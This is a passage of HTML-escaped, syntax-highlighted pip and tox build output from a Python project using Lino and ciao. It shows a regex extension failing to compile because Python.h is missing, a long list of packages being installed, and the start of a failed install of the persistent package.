  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_regex_core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_regex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;
  &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build_ext&lt;/span&gt;
  &lt;span class="n"&gt;building&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;regex._regex&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex_3&lt;/span&gt;
  &lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gnu&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gcc&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pthread&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wno&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wsign&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DNDEBUG&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fwrapv&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wall&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fstack&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;protector&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;strong&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wformat&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Werror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;flto&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fuse&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linker&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plugin&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ffat&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;lto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fstack&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;protector&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;strong&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wformat&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Werror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wdate&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;D_FORTIFY_SOURCE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fPIC&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_regex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_regex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;
  &lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_regex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fatal&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;
   &lt;span class="c1"&gt;#include &amp;quot;Python.h&amp;quot;&lt;/span&gt;
            &lt;span class="o"&gt;^~~~~~~~~~&lt;/span&gt;
  &lt;span class="n"&gt;compilation&lt;/span&gt; &lt;span class="n"&gt;terminated&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
  &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;x86_64-linux-gnu-gcc&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="o"&gt;----------------------------------------&lt;/span&gt;
  &lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;building&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;
  &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;clean&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;
&lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;built&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;
&lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;
&lt;span class="n"&gt;Installing&lt;/span&gt; &lt;span class="n"&gt;collected&lt;/span&gt; &lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;html2text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MarkupSafe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jinja2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;webencodings&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tinycss2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;html5lib&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;defusedxml&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pillow&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cssselect2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pycparser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cffi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cairocffi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CairoSVG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Pyphen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;weasyprint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dateutil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;invoke&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;future&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pytz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Babel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;devhelp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;imagesize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;qthelp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alabaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Pygments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;serializinghtml&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;snowballstemmer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;docutils&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;applehelp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;htmlhelp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;jsmath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;chardet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;certifi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idna&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Sphinx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;unipath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argh&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;atelier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;clint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pytidylib&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;zope&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;zodbpickle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;zc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lockfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;transaction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ZConfig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BTrees&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;zodb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;schedule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sqlparse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Django&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;stdnum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;localflavor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lxml&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PyYAML&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jdcal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;et&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xmlfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;openpyxl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tzlocal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dateparser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;odfpy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;soupsieve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;beautifulsoup4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reportlab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;etgen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;react&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;
  &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;started&lt;/span&gt;
    &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;finished&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;error&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt; &lt;span class="n"&gt;errored&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;import sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-xgyu9lk6/persistent/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;; __file__=&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-xgyu9lk6/persistent/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;f=getattr(tokenize, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;open&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, open)(__file__);code=f.read().replace(&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;);f.close();exec(compile(code, __file__, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;exec&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;))&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u0t4uxvn&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;single&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;externally&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;managed&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nb"&gt;compile&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span 